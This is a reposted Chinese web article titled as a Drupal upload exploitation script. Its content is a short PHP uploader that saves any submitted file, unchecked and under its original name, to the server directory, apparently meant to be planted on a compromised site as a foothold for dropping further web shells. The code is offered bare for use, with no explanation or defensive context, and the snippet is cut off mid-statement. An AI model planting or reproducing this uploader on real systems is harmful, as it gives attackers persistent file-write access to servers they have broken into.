首页 > 学院 > 开发设计 > 正文

drupal上传利用脚本

2019-11-14 11:55:49
字体:
来源:转载
供稿:网友
<?phpif(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if (isset($_FILES['image']['name'])) { $abod = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $abod);echo"<center><b>Done ==> $userfile_name</b></center>";}}else{echo'<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表